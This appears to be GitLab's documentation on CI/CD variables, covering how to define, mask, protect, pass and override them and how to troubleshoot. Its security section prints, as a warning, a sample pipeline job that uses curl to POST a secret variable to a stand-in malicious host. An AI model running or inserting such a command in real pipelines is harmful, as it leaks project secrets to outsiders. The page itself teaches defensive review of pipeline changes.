• Predefined CI/CD variables
• Define a CI/CD variable in the .gitlab-ci.yml file
• Define a CI/CD variable in the UI
  • For a project
  • For a group
  • For an instance
• CI/CD variable security
  • Mask a CI/CD variable
  • Protect a CI/CD variable
  • Use file type CI/CD variables
• Use CI/CD variables in job scripts
  • With Bash, sh and similar
  • With PowerShell
  • With Windows Batch
  • Pass an environment variable to another job
  • Store multiple values in one variable
• Use CI/CD variables in other variables
  • Use the $ character in CI/CD variables
  • Prevent CI/CD variable expansion
• CI/CD variable precedence
  • Override a defined CI/CD variable
  • Override a variable when running a pipeline manually
  • Restrict who can override variables
• Related topics
• Troubleshooting
  • List all variables
  • Enable debug logging
    • Restrict access to debug logging

GitLab CI/CD variables

CI/CD variables are a type of environment variable. You can use them to:

• Control the behavior of jobs and pipelines.
• Store values you want to re-use.
• Avoid hard-coding values in your .gitlab-ci.yml file.

You can use:

• Predefined CI/CD variables.
• Variables defined in the .gitlab-ci.yml file.
• Variables defined in project, group, or instance settings.

You can override variable values manually for a specific pipeline, or have them prefilled in manual pipelines.

Variable names are limited by the shell the runner uses to execute scripts. Each shell has its own set of reserved variable names.

Make sure each variable is defined for the scope you want to use it in.

For more information about advanced use of GitLab CI/CD:

•  Get to productivity faster with these 7 advanced GitLab CI workflow hacks shared by GitLab engineers.
•  Learn how the Cloud Native Computing Foundation (CNCF) eliminates the complexity of managing projects across many cloud providers with GitLab CI/CD.

Predefined CI/CD variables

GitLab CI/CD makes a set of predefined CI/CD variables available for use in pipeline configuration and job scripts. You can use predefined CI/CD variables in your .gitlab-ci.yml without declaring them first.

For example:

job1:
  stage: test
  script:
    - echo "$CI_JOB_STAGE"

The script in this example outputs the stage for the job1 job, which is test.

Define a CI/CD variable in the .gitlab-ci.yml file

To create a custom variable in the .gitlab-ci.yml file, define the variable and value with variables keyword.

You can use the variables keyword in a job or at the top level of the .gitlab-ci.yml file. If the variable is at the top level, it’s globally available and all jobs can use it. If it’s defined in a job, only that job can use it.

variables:
  TEST_VAR: "All jobs can use this variable's value"

job1:
  variables:
    TEST_VAR_JOB: "Only job1 can use this variable's value"
  script:
    - echo "$TEST_VAR" and "$TEST_VAR_JOB"

Variables saved in the .gitlab-ci.yml file should store only non-sensitive project configuration, like a RAILS_ENV or DATABASE_URL variable. These variables are visible in the repository. Store sensitive variables containing values like secrets or keys in project settings.

Variables saved in the .gitlab-ci.yml file are also available in service containers.

If you don’t want globally defined variables to be available in a job, set variables to {}:

job1:
  variables: {}
  script:
    - echo This job does not need any variables

Use the value and description keywords to define variables that are prefilled for manually-triggered pipelines.

Define a CI/CD variable in the UI

You can define CI/CD variables in the UI:

• For a project:
  • In the project’s settings.
  • With the API.
• For all projects in a group in the group’s setting.
• For all projects in a GitLab instance in the instance’s settings.

By default, pipelines from forked projects can’t access CI/CD variables in the parent project. If you run a merge request pipeline in the parent project for a merge request from a fork, all variables become available to the pipeline.

Variables set in the GitLab UI are not passed down to service containers. To set them, assign them to variables in the UI, then re-assign them in your .gitlab-ci.yml:

variables:
  SA_PASSWORD: $SA_PASSWORD

For a project

You can add CI/CD variables to a project’s settings. Only project members with the Maintainer role can add or update project CI/CD variables. To keep a CI/CD variable secret, put it in the project settings, not in the .gitlab-ci.yml file.

To add or update variables in the project settings:

1. Go to your project’s Settings > CI/CD and expand the Variables section.

2. Select Add variable and fill in the details:

   • Key: Must be one line, with no spaces, using only letters, numbers, or _.
   • Value: No limitations.
   • Type: Variable (default) or File.
   • Environment scope: Optional. All, or specific environments.
   • Protect variable Optional. If selected, the variable is only available in pipelines that run on protected branches or protected tags.
   • Mask variable Optional. If selected, the variable’s Value is masked in job logs. The variable fails to save if the value does not meet the masking requirements.

After you create a variable, you can use it in the .gitlab-ci.yml configuration or in job scripts.

For a group

To make a CI/CD variable available to all projects in a group, define a group CI/CD variable. You must be a group owner.

Use group variables to store secrets like passwords, SSH keys, and credentials, if you:

• Do not use an external key store.
• Use the GitLab integration with HashiCorp Vault.

To add a group variable:

1. In the group, go to Settings > CI/CD.

2. Select Add variable and fill in the details:

   • Key: Must be one line, with no spaces, using only letters, numbers, or _.
   • Value: No limitations.
   • Type: Variable (default) or File.
   • Environment scope Optional. All, or specific environments.
   • Protect variable Optional. If selected, the variable is only available in pipelines that run on protected branches or tags.
   • Mask variable Optional. If selected, the variable’s Value is masked in job logs. The variable fails to save if the value does not meet the masking requirements.

The group variables that are available in a project are listed in the project’s Settings > CI/CD > Variables section. Variables from subgroups are recursively inherited.

For an instance

To make a CI/CD variable available to all projects and groups in a GitLab instance, add an instance CI/CD variable. You must have administrator access.

You can define instance variables via the UI or API.

To add an instance variable:

1. On the top bar, select Main menu > Admin.
2. On the left sidebar, select Settings > CI/CD and expand the Variables section.

3. Select Add variable and fill in the details:

   • Key: Must be one line, with no spaces, using only letters, numbers, or _.
   • Value: In GitLab 13.3 and later, the value is limited to 10,000 characters, but also bounded by any limits in the runner’s operating system. In GitLab 13.0 to 13.2, the value is limited to 700 characters.
   • Type: Variable (default) or File.
   • Protect variable Optional. If selected, the variable is only available in pipelines that run on protected branches or tags.
   • Mask variable Optional. If selected, the variable’s Value is not shown in job logs. The variable is not saved if the value does not meet the masking requirements.

The instance variables that are available in a project are listed in the project’s Settings > CI/CD > Variables section.

CI/CD variable security

Malicious code pushed to your .gitlab-ci.yml file could compromise your variables and send them to a third party server regardless of the masked setting. If the pipeline runs on a protected branch or protected tag, malicious code can compromise protected variables.

Review all merge requests that introduce changes to the .gitlab-ci.yml file before you:

• Run a pipeline in the parent project for a merge request submitted from a forked project.
• Merge the changes.

Review the .gitlab-ci.yml file of imported projects before you add files or run pipelines against them.

The following example shows malicious code in a .gitlab-ci.yml file:

build:
  script:
    - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"

Variable values are encrypted using aes-256-cbc and stored in the database. This data can only be read and decrypted with a valid secrets file.

Mask a CI/CD variable

You can mask a project, group, or instance CI/CD variable so the value of the variable does not display in job logs.

To mask a variable:

1. In the project, group, or Admin Area, go to Settings > CI/CD.
2. Expand the Variables section.
3. Next to the variable you want to protect, select Edit.
4. Select the Mask variable checkbox.
5. Select Update variable.

The method used to mask variables limits what can be included in a masked variable. The value of the variable must:

• Be a single line.
• Be 8 characters or longer, consisting only of:
  • Characters from the Base64 alphabet (RFC4648).
  • The @, :, ., or ~ characters.
• Not match the name of an existing predefined or custom CI/CD variable.

Runner versions implement masking in different ways, some with technical limitations. Below is a table of such limitations.

Protect a CI/CD variable

You can configure a project, group, or instance CI/CD variable to be available only to pipelines that run on protected branches or protected tags.

Merged results pipelines, which run on a temporary merge commit, not a branch or tag, do not have access to these variables.

Pipelines that run directly on the merge request’s source branch, with no added merge commit, can access these variables if the source branch is a protected branch.

To mark a variable as protected:

1. Go to Settings > CI/CD in the project, group or instance Admin Area.
2. Expand the Variables section.
3. Next to the variable you want to protect, select Edit.
4. Select the Protect variable checkbox.
5. Select Update variable.

The variable is available for all subsequent pipelines.

Use file type CI/CD variables

All predefined CI/CD variables and variables defined in the .gitlab-ci.yml file are Variable type. Project, group and instance CI/CD variables can be Variable or File type.

Variable type variables:

• Consist of a key and value pair.
• Are made available in jobs as environment variables, with:
  • The CI/CD variable key as the environment variable name.
  • The CI/CD variable value as the environment variable value.

Use File type CI/CD variables for tools that need a file as input.

File type variables:

• Consist of a key, value and file.
• Are made available in jobs as environment variables, with
  • The CI/CD variable key as the environment variable name.
  • The CI/CD variable value saved to a temporary file.
  • The path to the temporary file as the environment variable value.

Some tools like the AWS CLI and kubectl use File type variables for configuration.

For example, if you have the following variables:

• A variable of type Variable: KUBE_URL with the value https://example.com.
• A variable of type File: KUBE_CA_PEM with a certificate as the value.

Use the variables in a job script like this:

kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM"

An alternative to File type variables is to:

• Read the value of a CI/CD variable (variable type).
• Save the value in a file.
• Use that file in your script.

# Read certificate stored in $KUBE_CA_PEM variable and save it in a new file
echo "$KUBE_CA_PEM" > "$(pwd)/kube.ca.pem"
# Pass the newly created file to kubectl
kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$(pwd)/kube.ca.pem"

Use CI/CD variables in job scripts

All CI/CD variables are set as environment variables in the job’s environment. You can use variables in job scripts with the standard formatting for each environment’s shell.

To access environment variables, use the syntax for your runner executor’s shell.

With Bash, sh and similar

To access environment variables in Bash, sh, and similar shells, prefix the CI/CD variable with ($):

job_name:
  script:
    - echo "$CI_JOB_ID"

With PowerShell

To access variables in a Windows PowerShell environment, including environment variables set by the system, prefix the variable name with ($env:) or ($):

job_name:
  script:
    - echo $env:CI_JOB_ID
    - echo $CI_JOB_ID
    - echo $env:PATH

In some cases environment variables must be surrounded by quotes to expand properly:

job_name:
  script:
    - D:\\qislsf\\apache-ant-1.10.5\\bin\\ant.bat "-DsosposDailyUsr=$env:SOSPOS_DAILY_USR" portal_test

With Windows Batch

To access CI/CD variables in Windows Batch, surround the variable with %:

job_name:
  script:
    - echo %CI_JOB_ID%

You can also surround the variable with ! for delayed expansion. Delayed expansion might be needed for variables that contain white spaces or newlines.

job_name:
  script:
    - echo !ERROR_MESSAGE!

Pass an environment variable to another job

You can pass environment variables from one job to another job in a later stage through variable inheritance. These variables cannot be used as CI/CD variables to configure a pipeline, but they can be used in job scripts.

1. In the job script, save the variable as a .env file.
   • The format of the file must be one variable definition per line.
   • Each defined line must be of the form VARIABLE_NAME=ANY VALUE HERE.
   • Values can be wrapped in quotes, but cannot contain newline characters.
2. Save the .env file as an artifacts:reports:dotenv artifact.
3. Jobs in later stages can then use the variable in scripts.

Inherited variables take precedence over certain types of new variable definitions such as job defined variables.

build:
  stage: build
  script:
    - echo "BUILD_VARIABLE=value_from_build_job" >> build.env
  artifacts:
    reports:
      dotenv: build.env

deploy:
  stage: deploy
  variables:
    BUILD_VARIABLE: value_from_deploy_job
  script:
    - echo "$BUILD_VARIABLE"  # Output is: 'value_from_build_job' due to precedence
  environment: production

The dependencies or needs keywords can be used to control which jobs receive inherited values.

To have no inherited dotenv environment variables, pass an empty dependencies or needs list, or pass needs:artifacts as false

build:
  stage: build
  script:
    - echo "BUILD_VERSION=hello" >> build.env
  artifacts:
    reports:
      dotenv: build.env

deploy_one:
  stage: deploy
  script:
    - echo "$BUILD_VERSION"  # Output is: 'hello'
  dependencies:
    - build
  environment:
    name: customer1
    deployment_tier: production

deploy_two:
  stage: deploy
  script:
    - echo "$BUILD_VERSION"  # Output is empty
  dependencies: []
  environment:
    name: customer2
    deployment_tier: production

deploy_three:
  stage: deploy
  script:
    - echo "$BUILD_VERSION"  # Output is: 'hello'
  needs:
    - build
  environment:
    name: customer3
    deployment_tier: production

deploy_four:
  stage: deploy
  script:
    - echo "$BUILD_VERSION"  # Output is: 'hello'
  needs:
    job: build
    artifacts: true
  environment:
    name: customer4
    deployment_tier: production

deploy_five:
  stage: deploy
  script:
    - echo "$BUILD_VERSION"  # Output is empty
  needs:
    job: build
    artifacts: false
  environment:
    name: customer5
    deployment_tier: production

Multi-project pipelines can also inherit variables from their upstream pipelines.

Store multiple values in one variable

You cannot create a CI/CD variable that is an array of values, but you can use shell scripting techniques for similar behavior.

For example, you can store multiple variables separated by a space in a variable, then loop through the values with a script:

job1:
  variables:
    FOLDERS: src test docs
  script:
    - |
      for FOLDER in $FOLDERS
        do
          echo "The path is root/${FOLDER}"
        done

Use CI/CD variables in other variables

You can use variables inside other variables:

job:
  variables:
    FLAGS: '-al'
    LS_CMD: 'ls "$FLAGS"'
  script:
    - 'eval "$LS_CMD"'  # Executes 'ls -al'

Use the $ character in CI/CD variables

If you do not want the $ character interpreted as the start of a variable, use $$ instead:

job:
  variables:
    FLAGS: '-al'
    LS_CMD: 'ls "$FLAGS" $$TMP_DIR'
  script:
    - 'eval "$LS_CMD"'  # Executes 'ls -al $TMP_DIR'

Prevent CI/CD variable expansion

Expanded variables treat values with the $ character as a reference to another variable. CI/CD variables are expanded by default.

To treat variables with a $ character as raw strings, disable variable expansion for the variable:

1. In the project or group, go to Settings > CI/CD.
2. Expand the Variables section.
3. Next to the variable you want to do not want expanded, select Edit.
4. Clear the Expand variable checkbox.
5. Select Update variable.

CI/CD variable precedence

You can use CI/CD variables with the same name in different places, but the values can overwrite each other. The type of variable and where they are defined determines which variables take precedence.

The order of precedence for variables is (from highest to lowest):

1. These all have the same (highest) precedence:
   • Trigger variables.
   • Scheduled pipeline variables.
   • Manual pipeline run variables.
   • Variables added when creating a pipeline with the API.
2. Project variables.
3. Group variables. If the same variable name exists in a group and its subgroups, the job uses the value from the closest subgroup. For example, if you have Group > Subgroup 1 > Subgroup 2 > Project, the variable defined in Subgroup 2 takes precedence.
4. Instance variables.
5. Inherited variables.
6. Variables defined in jobs in the .gitlab-ci.yml file.
7. Variables defined outside of jobs (globally) in the .gitlab-ci.yml file.
8. Deployment variables.
9. Predefined variables.

In the following example, when the script in job1 executes, the value of API_TOKEN is secure. Variables defined in jobs have a higher precedence than variables defined globally.

variables:
  API_TOKEN: "default"

job1:
  variables:
    API_TOKEN: "secure"
  script:
    - echo "The variable value is $API_TOKEN"

Override a defined CI/CD variable

You can override the value of a variable when you:

1. Run a pipeline manually in the UI.
2. Create a pipeline by using the API.
3. Run a job manually in the UI.
4. Use push options.
5. Trigger a pipeline by using the API.
6. Pass variables to a downstream pipeline by using the variable keyword or by using variable inheritance.

The pipeline variables declared in these events take priority over other variables.

Override a variable when running a pipeline manually

You can override the value of a CI/CD variable when you run a pipeline manually.

1. Go to your project’s CI/CD > Pipelines and select Run pipeline.
2. Choose the branch you want to run the pipeline for.
3. Input the variable and its value in the UI.

Restrict who can override variables

You can grant permission to override variables to users with the Maintainer role only. When other users try to run a pipeline with overridden variables, they receive the Insufficient permissions to set pipeline variables error message.

If you store your CI/CD configurations in a different repository, use this setting for control over the environment the pipeline runs in.

You can enable this feature by using the projects API to enable the restrict_user_defined_variables setting. The setting is disabled by default.

Related topics

• You can configure Auto DevOps to pass CI/CD variables to a running application. To make a CI/CD variable available as an environment variable in the running application’s container, prefix the variable key with K8S_SECRET_.

• The Managing the Complex Configuration Data Management Monster Using GitLab video is a walkthrough of the Complex Configuration Data Monorepo working example project. It explains how multiple levels of group CI/CD variables can be combined with environment-scoped project variables for complex configuration of application builds or deployments.

  The example can be copied to your own group or instance for testing. More details on what other GitLab CI patterns are demonstrated are available at the project page.

Troubleshooting

List all variables

You can list all variables available to a script with the export command in Bash or dir env: in PowerShell. This exposes the values of all available variables, which can be a security risk. Masked variables display as [masked].

For example:

job_name:
  script:
    - export
    # - 'dir env:'  # Use this for PowerShell

Example job log output (truncated):

export CI_JOB_ID="50"
export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a"
export CI_COMMIT_SHORT_SHA="1ecfd275"
export CI_COMMIT_REF_NAME="main"
export CI_REPOSITORY_URL="https://gitlab-ci-token:[masked]@example.com/gitlab-org/gitlab-foss.git"
export CI_COMMIT_TAG="1.0.0"
export CI_JOB_NAME="spec:other"
export CI_JOB_STAGE="test"
export CI_JOB_MANUAL="true"
export CI_JOB_TRIGGERED="true"
export CI_JOB_TOKEN="[masked]"
export CI_PIPELINE_ID="1000"
export CI_PIPELINE_IID="10"
export CI_PAGES_DOMAIN="gitlab.io"
export CI_PAGES_URL="https://gitlab-org.gitlab.io/gitlab-foss"
export CI_PROJECT_ID="34"
export CI_PROJECT_DIR="/builds/gitlab-org/gitlab-foss"
export CI_PROJECT_NAME="gitlab-foss"
export CI_PROJECT_TITLE="GitLab FOSS"
...

Enable debug logging

You can use debug logging to help troubleshoot problems with pipeline configuration or job scripts. Debug logging exposes job execution details that are usually hidden by the runner and makes job logs more verbose. It also exposes all variables and secrets available to the job.

Before you enable debug logging, make sure only team members can view job logs. You should also delete job logs with debug output before you make logs public again.

To enable debug logging (tracing), set the CI_DEBUG_TRACE variable to true:

job_name:
  variables:
    CI_DEBUG_TRACE: "true"

Example output (truncated):

...
export CI_SERVER_TLS_CA_FILE="/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE"
if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then
  echo $'\''\x1b[32;1mFetching changes...\x1b[0;m'\''
  $'\''cd'\'' "/builds/gitlab-examples/ci-debug-trace"
  $'\''git'\'' "config" "fetch.recurseSubmodules" "false"
  $'\''rm'\'' "-f" ".git/index.lock"
  $'\''git'\'' "clean" "-ffdx"
  $'\''git'\'' "reset" "--hard"
  $'\''git'\'' "remote" "set-url" "origin" "https://gitlab-ci-token:xxxxxxxxxxxxxxxxxxxx@example.com/gitlab-examples/ci-debug-trace.git"
  $'\''git'\'' "fetch" "origin" "--prune" "+refs/heads/*:refs/remotes/origin/*" "+refs/tags/*:refs/tags/lds"
++ CI_BUILDS_DIR=/builds
++ export CI_PROJECT_DIR=/builds/gitlab-examples/ci-debug-trace
++ CI_PROJECT_DIR=/builds/gitlab-examples/ci-debug-trace
++ export CI_CONCURRENT_ID=87
++ CI_CONCURRENT_ID=87
++ export CI_CONCURRENT_PROJECT_ID=0
++ CI_CONCURRENT_PROJECT_ID=0
++ export CI_SERVER=yes
++ CI_SERVER=yes
++ mkdir -p /builds/gitlab-examples/ci-debug-trace.tmp
++ echo -n '-----BEGIN CERTIFICATE-----
-----END CERTIFICATE-----'
++ export CI_SERVER_TLS_CA_FILE=/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE
++ CI_SERVER_TLS_CA_FILE=/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE
++ export CI_PIPELINE_ID=52666
++ CI_PIPELINE_ID=52666
++ export CI_PIPELINE_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/pipelines/52666
++ CI_PIPELINE_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/pipelines/52666
++ export CI_JOB_ID=7046507
++ CI_JOB_ID=7046507
++ export CI_JOB_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/-/jobs/379424655
++ CI_JOB_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/-/jobs/379424655
++ export CI_JOB_TOKEN=[MASKED]
++ CI_JOB_TOKEN=[MASKED]
++ export CI_REGISTRY_USER=gitlab-ci-token
++ CI_REGISTRY_USER=gitlab-ci-token
++ export CI_REGISTRY_PASSWORD=[MASKED]
++ CI_REGISTRY_PASSWORD=[MASKED]
++ export CI_REPOSITORY_URL=https://gitlab-ci-token:[MASKED]@gitlab.com/gitlab-examples/ci-debug-trace.git
++ CI_REPOSITORY_URL=https://gitlab-ci-token:[MASKED]@gitlab.com/gitlab-examples/ci-debug-trace.git
++ export CI_JOB_NAME=debug_trace
++ CI_JOB_NAME=debug_trace
++ export CI_JOB_STAGE=test
++ CI_JOB_STAGE=test
++ export CI_NODE_TOTAL=1
++ CI_NODE_TOTAL=1
++ export CI=true
++ CI=true
++ export GITLAB_CI=true
++ GITLAB_CI=true
++ export CI_SERVER_URL=https://gitlab.com:3000
++ CI_SERVER_URL=https://gitlab.com:3000
++ export CI_SERVER_HOST=gitlab.com
++ CI_SERVER_HOST=gitlab.com
++ export CI_SERVER_PORT=3000
++ CI_SERVER_PORT=3000
++ export CI_SERVER_PROTOCOL=https
++ CI_SERVER_PROTOCOL=https
++ export CI_SERVER_NAME=GitLab
++ CI_SERVER_NAME=GitLab
++ export GITLAB_FEATURES=audit_events,burndown_charts,code_owners,contribution_analytics,description_diffs,elastic_search,group_bulk_edit,group_burndown_charts,group_webhooks,issuable_default_templates,issue_weights,jenkins_integration,ldap_group_sync,member_lock,merge_request_approvers,multiple_issue_assignees,multiple_ldap_servers,multiple_merge_request_assignees,protected_refs_for_users,push_rules,related_issues,repository_mirrors,repository_size_limit,scoped_issue_board,usage_quotas,visual_review_app,wip_limits,adjourned_deletion_for_projects_and_groups,admin_audit_log,auditor_user,batch_comments,blocking_merge_requests,board_assignee_lists,board_milestone_lists,ci_cd_projects,cluster_deployments,code_analytics,code_owner_approval_required,commit_committer_check,cross_project_pipelines,custom_file_templates,custom_file_templates_for_namespace,custom_project_templates,custom_prometheus_metrics,cycle_analytics_for_groups,db_load_balancing,default_project_deletion_protection,dependency_proxy,deploy_board,design_management,email_additional_text,extended_audit_events,external_authorization_service_api_management,feature_flags,file_locks,geo,github_integration,group_allowed_email_domains,group_project_templates,group_saml,issues_analytics,jira_dev_panel_integration,ldap_group_sync_filter,merge_pipelines,merge_request_performance_metrics,merge_trains,metrics_reports,multiple_approval_rules,multiple_group_issue_boards,object_storage,operations_dashboard,packages,productivity_analytics,project_aliases,protected_environments,reject_unsigned_commits,required_ci_templates,scoped_labels,service_desk,smartcard_auth,group_timelogs,type_of_work_analytics,unprotection_restrictions,ci_project_subscriptions,container_scanning,dast,dependency_scanning,epics,group_ip_restriction,incident_management,insights,license_management,personal_access_token_expiration_policy,pod_logs,prometheus_alerts,report_approver_rules,sast,security_dashboard,tracing,web_ide_terminal
++ GITLAB_FEATURES=audit_events,burndown_charts,code_owners,contribution_analytics,description_diffs,elastic_search,group_bulk_edit,group_burndown_charts,group_webhooks,issuable_default_templates,issue_weights,jenkins_integration,ldap_group_sync,member_lock,merge_request_approvers,multiple_issue_assignees,multiple_ldap_servers,multiple_merge_request_assignees,protected_refs_for_users,push_rules,related_issues,repository_mirrors,repository_size_limit,scoped_issue_board,usage_quotas,visual_review_app,wip_limits,adjourned_deletion_for_projects_and_groups,admin_audit_log,auditor_user,batch_comments,blocking_merge_requests,board_assignee_lists,board_milestone_lists,ci_cd_projects,cluster_deployments,code_analytics,code_owner_approval_required,commit_committer_check,cross_project_pipelines,custom_file_templates,custom_file_templates_for_namespace,custom_project_templates,custom_prometheus_metrics,cycle_analytics_for_groups,db_load_balancing,default_project_deletion_protection,dependency_proxy,deploy_board,design_management,email_additional_text,extended_audit_events,external_authorization_service_api_management,feature_flags,file_locks,geo,github_integration,group_allowed_email_domains,group_project_templates,group_saml,issues_analytics,jira_dev_panel_integration,ldap_group_sync_filter,merge_pipelines,merge_request_performance_metrics,merge_trains,metrics_reports,multiple_approval_rules,multiple_group_issue_boards,object_storage,operations_dashboard,packages,productivity_analytics,project_aliases,protected_environments,reject_unsigned_commits,required_ci_templates,scoped_labels,service_desk,smartcard_auth,group_timelogs,type_of_work_analytics,unprotection_restrictions,ci_project_subscriptions,cluster_health,container_scanning,dast,dependency_scanning,epics,group_ip_restriction,incident_management,insights,license_management,personal_access_token_expiration_policy,pod_logs,prometheus_alerts,report_approver_rules,sast,security_dashboard,tracing,web_ide_terminal
++ export CI_PROJECT_ID=17893
++ CI_PROJECT_ID=17893
++ export CI_PROJECT_NAME=ci-debug-trace
++ CI_PROJECT_NAME=ci-debug-trace
...

Restrict access to debug logging

You can restrict access to debug logging. When restricted, only users with at least the Developer role can view job logs when debug logging is enabled with a variable in:

• The .gitlab-ci.yml file.
• The CI/CD variables set in the GitLab UI.